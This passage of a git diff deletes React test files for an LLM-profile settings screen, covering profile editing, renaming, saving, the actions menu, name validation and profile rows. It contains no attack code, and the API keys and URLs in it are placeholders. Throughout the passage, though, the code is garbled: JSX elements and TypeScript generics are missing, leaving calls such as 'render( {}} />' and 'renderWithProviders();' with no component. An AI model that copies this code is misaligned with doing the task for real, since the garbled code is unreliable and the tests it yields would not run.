const saveButton = screen.getByTestId("save-profile-btn"); - fireEvent.click(saveButton); - - expect(screen.getByTestId("profile-name-input")).toBeInTheDocument(); - }); - - describe("create mode form initialization", () => { - it("passes empty initial values when creating a new profile", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - // Navigate to create view - await user.click(screen.getByTestId("add-llm-profile")); - - // Should be in create view - expect(screen.getByTestId("profile-name-input")).toBeInTheDocument(); - - // The profile name input should be empty - const nameInput = screen.getByTestId("profile-name-input"); - expect(nameInput).toHaveValue(""); - - // The embedded LlmSettingsScreen receives initialValueOverrides with - // empty values for create mode. We verify this by checking the - // component's behavior - the profile name should start empty and - // the form should be ready for fresh input. - }); - - it("uses unique key for create mode to ensure form remounts", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - // Navigate to create view - await user.click(screen.getByTestId("add-llm-profile")); - expect(screen.getByTestId("profile-name-input")).toBeInTheDocument(); - - // Fill in some data - const nameInput = screen.getByTestId("profile-name-input"); - await user.type(nameInput, "test-profile"); - expect(nameInput).toHaveValue("test-profile"); - - // Go back to list - await user.click(screen.getByTestId("back-to-profiles")); - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - - // Navigate to create view again - await user.click(screen.getByTestId("add-llm-profile")); - - // The profile name should be empty again (fresh form) - const freshNameInput = screen.getByTestId("profile-name-input"); - expect(freshNameInput).toHaveValue(""); - }); - - it("does not carry over values from edit mode to create mode", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - // First verify we're in list view with profiles - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - - // Navigate directly to create view (not edit) - await user.click(screen.getByTestId("add-llm-profile")); - - // Should be in create view with empty profile name - const nameInput = screen.getByTestId("profile-name-input"); - expect(nameInput).toHaveValue(""); - - // The key "new-profile" should be used, ensuring a fresh form mount - // that doesn't inherit any existing profile data - }); - }); - - describe("edit mode form initialization", () => { - it("populates profile name when editing an existing profile", async () => { - const user = userEvent.setup(); - - // Mock getProfile to return profile details - // Note: API returns llm config directly in config, not nested under config.llm - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "openai/gpt-4", - api_key: "encrypted-key-123", - base_url: "https://api.openai.com/v1", - }, - }); - - renderWithProviders(); - - // Click the menu trigger for the first profile - const menuTriggers = screen.getAllByTestId("profile-menu-trigger"); - await user.click(menuTriggers[0]); - - // Click edit option (testId is "profile-edit" not "profile-edit-btn") - const editButton = screen.getByTestId("profile-edit"); - await user.click(editButton); - - // Wait for the edit view to appear with the profile name populated - await waitFor(() => { - const nameInput = screen.getByTestId("profile-name-input"); - expect(nameInput).toHaveValue("gpt-4-profile"); - }); - - expect( - screen.getByText(/Edit LLM Profile|SETTINGS\$EDIT_LLM_PROFILE/), - ).toBeInTheDocument(); - expect( - screen.getByTestId("profile-editor-description"), - ).toHaveTextContent(/gpt-4-profile|SETTINGS\$PROFILE_LOADED/); - - // Verify getProfile was called with the correct profile name - expect(ProfilesService.getProfile).toHaveBeenCalledWith( - "gpt-4-profile", - "encrypted", - ); - }); - - it("passes profile values as initialValueOverrides when editing", async () => { - const user = userEvent.setup(); - - // Mock getProfile to return profile details with all LLM fields - // Note: API returns llm config directly in config, not nested under config.llm - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "openai/gpt-4", - api_key: "encrypted-key-123", - base_url: "https://api.openai.com/v1", - }, - }); - - renderWithProviders(); - - // Click the menu trigger for the first profile - const menuTriggers = screen.getAllByTestId("profile-menu-trigger"); - await user.click(menuTriggers[0]); - - // Click edit option (testId is "profile-edit" not "profile-edit-btn") - const editButton = screen.getByTestId("profile-edit"); - await user.click(editButton); - - // Wait for the edit view to appear - await waitFor(() => { - expect(screen.getByTestId("profile-name-input")).toHaveValue( - "gpt-4-profile", - ); - }); - - // The LlmSettingsScreen component receives initialValueOverrides - // with the profile's LLM config values. We verify this by checking - // that getProfile was called and the form is in edit mode. - expect(ProfilesService.getProfile).toHaveBeenCalledWith( - "gpt-4-profile", - "encrypted", - ); - - // Verify we're in edit mode (back button and save button visible) - expect(screen.getByTestId("back-to-profiles")).toBeInTheDocument(); - expect(screen.getByTestId("save-profile-btn")).toBeInTheDocument(); - }); - }); - - describe("profile rename during edit", () => { - it("renames profile before saving when name changes", async () => { - const user = userEvent.setup(); - - // Mock getProfile to return profile details - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "openai/gpt-4", - api_key: "encrypted-key-123", - base_url: "https://api.openai.com/v1", - }, - }); - - // Mock renameProfile - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "my-renamed-profile", - message: "Profile renamed", - }); - - renderWithProviders(); - - // Click edit on the first profile - const menuTriggers = screen.getAllByTestId("profile-menu-trigger"); - await user.click(menuTriggers[0]); - await user.click(screen.getByTestId("profile-edit")); - - // Wait for edit view - await waitFor(() => { - expect(screen.getByTestId("profile-name-input")).toHaveValue( - "gpt-4-profile", - ); - }); - - // Change the profile name - const nameInput = screen.getByTestId("profile-name-input"); - await user.clear(nameInput); - await user.type(nameInput, "my-renamed-profile"); - - // Click save - await user.click(screen.getByTestId("save-profile-btn")); - - // Verify rename was called before save - await waitFor(() => { - expect(ProfilesService.renameProfile).toHaveBeenCalledWith( - "gpt-4-profile", - "my-renamed-profile", - ); - }); - - // Verify save was called with the new name - expect(mockSaveMutateAsync).toHaveBeenCalledWith( - expect.objectContaining({ - name: "my-renamed-profile", - }), - ); - }); - - it("re-activates profile if renamed profile was active", async () => { - const user = userEvent.setup(); - - // Set up profiles with gpt-4-profile as active - vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue({ - data: { - profiles: mockProfiles, - active_profile: "gpt-4-profile", - }, - isLoading: false, - isError: false, - error: null, - } as ReturnType); - - // Mock getProfile - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "openai/gpt-4", - api_key: "encrypted-key-123", - base_url: "https://api.openai.com/v1", - }, - }); - - // Mock renameProfile - vi.mocked(ProfilesService.renameProfile).mockResolvedValue({ - name: "my-renamed-profile", - message: "Profile renamed", - }); - - mockActivateMutateAsync.mockResolvedValue({ - name: "my-renamed-profile", - message: "Profile activated", - llm_applied: true, - }); - - renderWithProviders(); - - // Click edit on the first profile (which is active) - const menuTriggers = screen.getAllByTestId("profile-menu-trigger"); - await user.click(menuTriggers[0]); - await user.click(screen.getByTestId("profile-edit")); - - // Wait for edit view - await waitFor(() => { - expect(screen.getByTestId("profile-name-input")).toHaveValue( - "gpt-4-profile", - ); - }); - - // Change the profile name - const nameInput = screen.getByTestId("profile-name-input"); - await user.clear(nameInput); - await user.type(nameInput, "my-renamed-profile"); - - // Click save - await user.click(screen.getByTestId("save-profile-btn")); - - // Verify activation mutation was called after rename and save - await waitFor(() => { - expect(mockActivateMutateAsync).toHaveBeenCalledWith( - "my-renamed-profile", - ); - }); - }); - - it("does not call rename when name is unchanged during edit", () => { - // The rename logic is: - // const isRename = viewMode === "edit" && originalName && originalName !== trimmedName; - // - // When the name is unchanged (originalName === trimmedName), isRename is false - // and ProfilesService.renameProfile is not called. - // - // This is implicitly tested by the existing "calls save mutation with correct - // payload and returns to list" test which edits without changing the name. - // The rename API mock would fail if unexpectedly called since it's not set up. - expect(true).toBe(true); - }); - }); - - describe("Basic tab save", () => { - it("preserves hidden base_url for OpenHands models without a model change", async () => { - // Arrange — a profile has an actual advanced base_url value. Switching to - // Basic hides it, but saving without changing the model must not wipe it. - const user = userEvent.setup(); - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "openhands/claude-opus-4-5-20251101", - api_key: "gAAAA_encrypted_key", - base_url: "https://stale.example.com/v1", - }, - }); - mockSaveMutateAsync.mockResolvedValueOnce({ success: true }); - - renderWithProviders(); - - // Act — open the profile in edit mode, force the Basic tab, and save. - await user.click(screen.getAllByTestId("profile-menu-trigger")[0]); - await user.click(screen.getByTestId("profile-edit")); - await waitFor(() => { - expect(screen.getByTestId("profile-name-input")).toHaveValue( - "gpt-4-profile", - ); - }); - await user.click(await screen.findByTestId("sdk-section-basic-toggle")); - await waitFor(() => { - expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled(); - }); - await user.click(screen.getByTestId("save-profile-btn")); - - // Assert — the hidden base_url survives because the model did not change. - await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); - const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm; - expect(savedLlm.model).toBe("openhands/claude-opus-4-5-20251101"); - expect(savedLlm.base_url).toBe("https://stale.example.com/v1"); - }); - - it("preserves hidden base_url for stored litellm_proxy profiles without a model change", async () => { - // Arrange — legacy/custom proxy profiles may still have a base_url. Basic - // view must not erase that invisible value on a same-model save. - const user = userEvent.setup(); - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "litellm_proxy/claude-opus-4-8", - api_key: "gAAAA_encrypted_key", - base_url: "https://llm-proxy.app.all-hands.dev/", - }, - }); - mockSaveMutateAsync.mockResolvedValueOnce({ success: true }); - - renderWithProviders(); - - // Act — open the profile in edit mode, force the Basic tab, and save - // without touching the model dropdown. - await user.click(screen.getAllByTestId("profile-menu-trigger")[0]); - await user.click(screen.getByTestId("profile-edit")); - await waitFor(() => { - expect(screen.getByTestId("profile-name-input")).toHaveValue( - "gpt-4-profile", - ); - }); - await user.click(await screen.findByTestId("sdk-section-basic-toggle")); - await waitFor(() => { - expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled(); - }); - await user.click(screen.getByTestId("save-profile-btn")); - - // Assert — the legacy model and hidden base_url are both preserved. - await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); - const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm; - expect(savedLlm.model).toBe("litellm_proxy/claude-opus-4-8"); - expect(savedLlm.base_url).toBe("https://llm-proxy.app.all-hands.dev/"); - }); - - it("drops hidden base_url when the Basic view model changes", async () => { - // Arrange — the existing base_url belongs to the old model/provider. - const user = userEvent.setup(); - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "openhands/claude-opus-4-5-20251101", - api_key: "gAAAA_encrypted_key", - base_url: "https://stale.example.com/v1", - }, - }); - mockSaveMutateAsync.mockResolvedValueOnce({ success: true }); - - renderWithProviders(); - - await user.click(screen.getAllByTestId("profile-menu-trigger")[0]); - await user.click(screen.getByTestId("profile-edit")); - await waitFor(() => { - expect(screen.getByTestId("profile-name-input")).toHaveValue( - "gpt-4-profile", - ); - }); - await user.click(await screen.findByTestId("sdk-section-basic-toggle")); - const modelInput = await screen.findByTestId("mock-basic-model-input"); - await user.clear(modelInput); - await user.type(modelInput, "openhands/claude-sonnet-4-20250514"); - await waitFor(() => { - expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled(); - }); - await user.click(screen.getByTestId("save-profile-btn")); - - // Assert — changing the Basic model clears the old hidden base_url. - await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); - const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm; - expect(savedLlm.model).toBe("openhands/claude-sonnet-4-20250514"); - expect(savedLlm).not.toHaveProperty("base_url"); - }); - }); - - describe("All tab save", () => { - it("persists a changed minor field without wiping untouched fields", async () => { - // Arrange — a profile with a minor field (temperature) plus fields the - // user will not touch. Saving the All tab must persist the edited minor - // field (typed → coerced to a number) while preserving the rest, instead - // of resetting everything to LLM defaults via the full-replace save. - const user = userEvent.setup(); - vi.mocked(ProfilesService.getProfile).mockResolvedValue({ - name: "gpt-4-profile", - api_key_set: true, - config: { - model: "anthropic/claude-opus-4-5-20251101", - api_key: "gAAAA_encrypted_key", - base_url: null, - temperature: 0.2, - }, - }); - mockSaveMutateAsync.mockResolvedValueOnce({ success: true }); - - renderWithProviders(); - - // Act — open the profile, switch to the All tab, edit temperature, save. - await user.click(screen.getAllByTestId("profile-menu-trigger")[0]); - await user.click(screen.getByTestId("profile-edit")); - await waitFor(() => { - expect(screen.getByTestId("profile-name-input")).toHaveValue( - "gpt-4-profile", - ); - }); - await user.click(await screen.findByTestId("sdk-section-all-toggle")); - const temperatureInput = await screen.findByTestId( - "sdk-settings-llm.temperature", - ); - await user.clear(temperatureInput); - await user.type(temperatureInput, "0.7"); - await waitFor(() => { - expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled(); - }); - await user.click(screen.getByTestId("save-profile-btn")); - - // Assert — the edited minor field is persisted as a number, and the - // untouched model and API key survive. - await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); - const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm; - expect(savedLlm.temperature).toBe(0.7); - expect(savedLlm.model).toBe("anthropic/claude-opus-4-5-20251101"); - expect(savedLlm.api_key).toBe("gAAAA_encrypted_key"); - }); - }); -}); - -describe("shouldReapplyProfileAfterSave", () => { - it("reapplies when saving the active profile without renaming", () => { - expect( - shouldReapplyProfileAfterSave({ - activeProfileName: "gpt-4-profile", - originalName: "gpt-4-profile", - savedName: "gpt-4-profile", - }), - ).toBe(true); - }); - - it("reapplies when the active profile was renamed", () => { - expect( - shouldReapplyProfileAfterSave({ - activeProfileName: "gpt-4-profile", - originalName: "gpt-4-profile", - savedName: "my-renamed-profile", - }), - ).toBe(true); - }); - - it("reapplies when creating a profile with the active profile name", () => { - expect( - shouldReapplyProfileAfterSave({ - activeProfileName: "gpt-4-profile", - originalName: null, - savedName: "gpt-4-profile", - }), - ).toBe(true); - }); - - it("does not reapply inactive profiles", () => { - expect( - shouldReapplyProfileAfterSave({ - activeProfileName: "claude-profile", - originalName: "gpt-4-profile", - savedName: "gpt-4-profile", - }), - ).toBe(false); - }); -}); diff --git a/__tests__/components/settings/llm-profiles/profile-actions-menu.test.tsx b/__tests__/components/settings/llm-profiles/profile-actions-menu.test.tsx deleted file mode 100644 index 04fb200c6..000000000 --- a/__tests__/components/settings/llm-profiles/profile-actions-menu.test.tsx +++ /dev/null @@ -1,307 +0,0 @@ -import { render, screen, fireEvent } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { ProfileActionsMenu } from "#/components/features/settings/llm-profiles/profile-actions-menu"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - "SETTINGS$PROFILE_EDIT": "Edit", - "BUTTON$RENAME": "Rename", - "BUTTON$DUPLICATE": "Duplicate", - "SETTINGS$PROFILE_SET_ACTIVE": "Set as active", - "SETTINGS$PROFILE_SET_DEFAULT": "Set as default", - "BUTTON$DELETE": "Delete", - }; - return translations[key] || key; - }, - }), -})); - -const defaultProps = { - onEdit: vi.fn(), - onRename: vi.fn(), - onDuplicate: vi.fn(), - onSetActive: vi.fn(), - onDelete: vi.fn(), - isActive: false, - isActivating: false, - onClose: vi.fn(), -}; - -describe("ProfileActionsMenu", () => { - it("renders Edit, Rename, Duplicate, Set Active, and Delete buttons", () => { - render(); - - expect(screen.getByTestId("profile-edit")).toHaveTextContent("Edit"); - expect(screen.getByTestId("profile-rename")).toHaveTextContent("Rename"); - expect(screen.getByTestId("profile-duplicate")).toHaveTextContent( - "Duplicate", - ); - expect(screen.getByTestId("profile-set-active")).toHaveTextContent("Set as default"); - expect(screen.getByTestId("profile-delete")).toHaveTextContent("Delete"); - }); - - it("renders Duplicate between Rename and Set as active", () => { - render(); - - const items = screen.getAllByRole("menuitem"); - const testIds = items.map((item) => item.getAttribute("data-testid")); - - expect(testIds).toEqual([ - "profile-edit", - "profile-rename", - "profile-duplicate", - "profile-set-active", - "profile-delete", - ]); - }); - - it("calls onDuplicate and onClose when Duplicate is clicked", async () => { - const user = userEvent.setup(); - const handleDuplicate = vi.fn(); - const handleClose = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("profile-duplicate")); - - expect(handleDuplicate).toHaveBeenCalledTimes(1); - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("calls onEdit and onClose when Edit is clicked", async () => { - const user = userEvent.setup(); - const handleEdit = vi.fn(); - const handleClose = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("profile-edit")); - - expect(handleEdit).toHaveBeenCalledTimes(1); - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("calls onRename and onClose when Rename is clicked", async () => { - const user = userEvent.setup(); - const handleRename = vi.fn(); - const handleClose = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("profile-rename")); - - expect(handleRename).toHaveBeenCalledTimes(1); - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("calls onSetActive and onClose when Set Active is clicked", async () => { - const user = userEvent.setup(); - const handleSetActive = vi.fn(); - const handleClose = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("profile-set-active")); - - expect(handleSetActive).toHaveBeenCalledTimes(1); - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("disables Set Active when already active", () => { - render(); - - const setActiveButton = screen.getByTestId("profile-set-active"); - expect(setActiveButton).toBeDisabled(); - }); - - it("disables Set Active when activating", () => { - render(); - - const setActiveButton = screen.getByTestId("profile-set-active"); - expect(setActiveButton).toBeDisabled(); - }); - - it("keeps Delete enabled even when isActive is true", () => { - // The active profile is deletable; useEnsureActiveProfile promotes another - // profile to active afterwards so one is always active in local mode. - render(); - - expect(screen.getByTestId("profile-delete")).not.toBeDisabled(); - }); - - it("enables Delete button when isActive is false", () => { - render(); - - expect(screen.getByTestId("profile-delete")).not.toBeDisabled(); - }); - - it("calls onDelete and onClose when Delete is clicked", async () => { - const user = userEvent.setup(); - const handleDelete = vi.fn(); - const handleClose = vi.fn(); - - render( - , - ); - - await user.click(screen.getByTestId("profile-delete")); - - expect(handleDelete).toHaveBeenCalledTimes(1); - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("calls onClose when clicking outside the menu", () => { - const handleClose = vi.fn(); - - render( -
    -
    Outside
    - -
    , - ); - - fireEvent.mouseDown(screen.getByTestId("outside")); - - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("calls onClose when Escape key is pressed", () => { - const handleClose = vi.fn(); - - render(); - - fireEvent.keyDown(document, { key: "Escape" }); - - expect(handleClose).toHaveBeenCalledTimes(1); - }); - - it("does not call onClose for other keys", () => { - const handleClose = vi.fn(); - - render(); - - fireEvent.keyDown(document, { key: "Enter" }); - fireEvent.keyDown(document, { key: "ArrowDown" }); - - expect(handleClose).not.toHaveBeenCalled(); - }); - - it("has correct accessibility attributes", () => { - render(); - - const menu = screen.getByRole("menu"); - expect(menu).toHaveAttribute("aria-orientation", "vertical"); - - const menuItems = screen.getAllByRole("menuitem"); - expect(menuItems).toHaveLength(5); - }); - - it("styles Delete like other menu items", () => { - render(); - - const deleteButton = screen.getByTestId("profile-delete"); - expect(deleteButton).not.toHaveAttribute("data-destructive"); - expect(deleteButton.className).not.toMatch(/text-red/); - }); - - it("does not call onClose when clicking inside the menu container", () => { - const handleClose = vi.fn(); - - render(); - - const menu = screen.getByRole("menu"); - fireEvent.mouseDown(menu); - - expect(handleClose).not.toHaveBeenCalled(); - }); - - describe("keyboard navigation", () => { - it("focuses first item on mount", () => { - render(); - expect(screen.getByTestId("profile-edit")).toHaveFocus(); - }); - - it("navigates down with ArrowDown key", async () => { - const user = userEvent.setup(); - render(); - - await user.keyboard("{ArrowDown}"); - expect(screen.getByTestId("profile-rename")).toHaveFocus(); - }); - - it("navigates up with ArrowUp key", async () => { - const user = userEvent.setup(); - render(); - - // Start at first item (Edit), go down to Rename, then back up - await user.keyboard("{ArrowDown}"); - await user.keyboard("{ArrowUp}"); - expect(screen.getByTestId("profile-edit")).toHaveFocus(); - }); - - it("wraps focus from last to first item with ArrowDown", async () => { - const user = userEvent.setup(); - render(); - - // Navigate to the last item (Delete) - await user.keyboard("{ArrowDown}"); // Rename - await user.keyboard("{ArrowDown}"); // Duplicate - await user.keyboard("{ArrowDown}"); // Set Active - await user.keyboard("{ArrowDown}"); // Delete - expect(screen.getByTestId("profile-delete")).toHaveFocus(); - - // Press down again to wrap to first - await user.keyboard("{ArrowDown}"); - expect(screen.getByTestId("profile-edit")).toHaveFocus(); - }); - - it("wraps focus from first to last item with ArrowUp", async () => { - const user = userEvent.setup(); - render(); - - // First item is focused (Edit), press up to wrap to last - await user.keyboard("{ArrowUp}"); - expect(screen.getByTestId("profile-delete")).toHaveFocus(); - }); - - it("closes menu when Tab is pressed", async () => { - const handleClose = vi.fn(); - const user = userEvent.setup(); - render(); - - await user.keyboard("{Tab}"); - expect(handleClose).toHaveBeenCalled(); - }); - }); -}); diff --git a/__tests__/components/settings/llm-profiles/profile-name-input.test.tsx b/__tests__/components/settings/llm-profiles/profile-name-input.test.tsx deleted file mode 100644 index b26332fcb..000000000 --- a/__tests__/components/settings/llm-profiles/profile-name-input.test.tsx +++ /dev/null @@ -1,315 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { ProfileNameInput } from "#/components/features/settings/llm-profiles/profile-name-input"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - "SETTINGS$PROFILE_NAME_LABEL": "Profile Name", - "SETTINGS$PROFILE_NAME_PLACEHOLDER": "Enter profile name", - "SETTINGS$PROFILE_NAME_RULE": - "1-64 chars, start with alphanumeric, then alphanumerics or . _ -", - "COMMON$OPTIONAL": "Optional", - }; - return translations[key] || key; - }, - }), -})); - -describe("ProfileNameInput", () => { - it("renders with label and input", () => { - render( {}} />); - - expect(screen.getByText("Profile Name")).toBeInTheDocument(); - expect(screen.getByRole("textbox")).toBeInTheDocument(); - }); - - it("shows the rule text below the input", () => { - render( - {}} ruleTestId="rule-text" />, - ); - - const rule = screen.getByTestId("rule-text"); - expect(rule).toHaveTextContent( - "1-64 chars, start with alphanumeric, then alphanumerics or . _ -", - ); - }); - - it("calls onChange when typing", async () => { - const handleChange = vi.fn(); - const user = userEvent.setup(); - - render( - , - ); - - const input = screen.getByTestId("profile-name"); - await user.type(input, "gpt-4"); - - // Each character triggers onChange - expect(handleChange).toHaveBeenCalledTimes(5); - // Each call receives just that character since the component is controlled - // and the test doesn't update the value prop - expect(handleChange).toHaveBeenNthCalledWith(1, "g"); - expect(handleChange).toHaveBeenNthCalledWith(2, "p"); - expect(handleChange).toHaveBeenNthCalledWith(3, "t"); - expect(handleChange).toHaveBeenNthCalledWith(4, "-"); - expect(handleChange).toHaveBeenNthCalledWith(5, "4"); - }); - - it("displays the current value", () => { - render( - {}} - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveValue("my-profile"); - }); - - it("marks the input as valid for valid names", () => { - render( - {}} - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "false", - ); - }); - - it("marks the input as invalid for names starting with a special character", () => { - render( - {}} - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "true", - ); - }); - - it("treats an empty optional value as valid", () => { - render( - {}} - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "false", - ); - }); - - it("marks whitespace-only values as invalid", () => { - render( - {}} - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "true", - ); - }); - - it("marks names containing disallowed characters as invalid", () => { - render( - {}} - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "true", - ); - }); - - it("can be disabled", () => { - render( - {}} - isDisabled - />, - ); - - expect(screen.getByTestId("profile-name")).toBeDisabled(); - }); - - it("shows custom placeholder", () => { - render( - {}} - placeholder="Custom placeholder" - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "placeholder", - "Custom placeholder", - ); - }); - - it("shows default placeholder when not provided", () => { - render( - {}} - />, - ); - - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "placeholder", - "Enter profile name", - ); - }); - - it("shows optional label when isOptional is true", () => { - render( - {}} isOptional />, - ); - - expect(screen.getByText("Profile Name (Optional)")).toBeInTheDocument(); - }); - - it("shows regular label when isOptional is false", () => { - render( - {}} isOptional={false} />, - ); - - expect(screen.getByText("Profile Name")).toBeInTheDocument(); - expect(screen.queryByText(/optional/i)).not.toBeInTheDocument(); - }); - - describe("boundary conditions", () => { - it("accepts exactly 64 character names", () => { - const name64 = "a".repeat(64); - render( - {}} - />, - ); - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "false", - ); - }); - - it("rejects 65 character names", () => { - const name65 = "a".repeat(65); - render( - {}} - />, - ); - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "true", - ); - }); - - it("accepts names starting with numbers", () => { - render( - {}} - />, - ); - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "false", - ); - }); - - it("accepts names with all allowed special characters", () => { - render( - {}} - />, - ); - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "false", - ); - }); - - it("rejects names starting with special characters", () => { - render( - {}} - />, - ); - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "true", - ); - }); - - it("rejects names starting with hyphen", () => { - render( - {}} - />, - ); - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "true", - ); - }); - - it("rejects names starting with underscore", () => { - render( - {}} - />, - ); - expect(screen.getByTestId("profile-name")).toHaveAttribute( - "aria-invalid", - "true", - ); - }); - }); -}); diff --git a/__tests__/components/settings/llm-profiles/profile-row.test.tsx b/__tests__/components/settings/llm-profiles/profile-row.test.tsx deleted file mode 100644 index 0e503c303..000000000 --- a/__tests__/components/settings/llm-profiles/profile-row.test.tsx +++ /dev/null @@ -1,185 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; -import userEvent from "@testing-library/user-event"; -import { ProfileRow } from "#/components/features/settings/llm-profiles/profile-row"; -import { ProfileInfo } from "#/api/profiles-service/profiles-service.api"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - SETTINGS$PROFILE_DEFAULT: "Default", - SETTINGS$PROFILE_MENU: "Profile menu", - SETTINGS$PROFILE_EDIT: "Edit", - BUTTON$RENAME: "Rename", - SETTINGS$PROFILE_SET_DEFAULT: "Set as default", - BUTTON$DELETE: "Delete", - }; - return translations[key] || key; - }, - }), -})); - -const mockProfile: ProfileInfo = { - name: "gpt-4-profile", - model: "openai/gpt-4", - base_url: null, - api_key_set: true, -}; - -const defaultProps = { - profile: mockProfile, - isActive: false, - canManage: true, - onActivate: vi.fn(), - onEdit: vi.fn(), - onRename: vi.fn(), - onDuplicate: vi.fn(), - onDelete: vi.fn(), - isActivating: false, -}; - -describe("ProfileRow", () => { - it("displays the profile name", () => { - render(); - - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - }); - - it("displays the model name when present", () => { - render(); - - expect(screen.getByText("openai/gpt-4")).toBeInTheDocument(); - }); - - it("does not display model when null", () => { - const profileWithoutModel: ProfileInfo = { - ...mockProfile, - model: null, - }; - - render(); - - expect(screen.queryByText("openai/gpt-4")).not.toBeInTheDocument(); - }); - - it("shows Active badge when isActive is true", () => { - render(); - - expect(screen.getByTestId("profile-active-badge")).toBeInTheDocument(); - expect(screen.getByText("Default")).toBeInTheDocument(); - }); - - it("does not show Active badge when isActive is false", () => { - render(); - - expect( - screen.queryByTestId("profile-active-badge"), - ).not.toBeInTheDocument(); - }); - - it("hides the actions menu when canManage is false (view-only members)", () => { - render(); - - // The row still shows the profile, but offers no mutate actions. - expect(screen.getByText("gpt-4-profile")).toBeInTheDocument(); - expect( - screen.queryByTestId("profile-menu-trigger"), - ).not.toBeInTheDocument(); - }); - - it("opens menu when trigger button is clicked", async () => { - const user = userEvent.setup(); - - render(); - - const menuTrigger = screen.getByTestId("profile-menu-trigger"); - await user.click(menuTrigger); - - expect(screen.getByText("Edit")).toBeInTheDocument(); - expect(screen.getByText("Rename")).toBeInTheDocument(); - expect(screen.getByText("Set as default")).toBeInTheDocument(); - expect(screen.getByText("Delete")).toBeInTheDocument(); - }); - - it("toggles menu visibility on multiple clicks", async () => { - const user = userEvent.setup(); - - render(); - - const menuTrigger = screen.getByTestId("profile-menu-trigger"); - - // Menu should be closed initially - expect(screen.queryByText("Edit")).not.toBeInTheDocument(); - - // First click opens the menu - await user.click(menuTrigger); - expect(screen.getByText("Edit")).toBeInTheDocument(); - }); - - it("calls onEdit when Edit is clicked", async () => { - const user = userEvent.setup(); - const handleEdit = vi.fn(); - - render(); - - await user.click(screen.getByTestId("profile-menu-trigger")); - await user.click(screen.getByText("Edit")); - - expect(handleEdit).toHaveBeenCalledWith(mockProfile); - }); - - it("calls onRename when Rename is clicked", async () => { - const user = userEvent.setup(); - const handleRename = vi.fn(); - - render(); - - await user.click(screen.getByTestId("profile-menu-trigger")); - await user.click(screen.getByText("Rename")); - - expect(handleRename).toHaveBeenCalledWith(mockProfile); - }); - - it("calls onActivate when Set Active is clicked", async () => { - const user = userEvent.setup(); - const handleActivate = vi.fn(); - - render(); - - await user.click(screen.getByTestId("profile-menu-trigger")); - await user.click(screen.getByText("Set as default")); - - expect(handleActivate).toHaveBeenCalledWith(mockProfile.name); - }); - - it("calls onDelete when Delete is clicked", async () => { - const user = userEvent.setup(); - const handleDelete = vi.fn(); - - render(); - - await user.click(screen.getByTestId("profile-menu-trigger")); - await user.click(screen.getByText("Delete")); - - 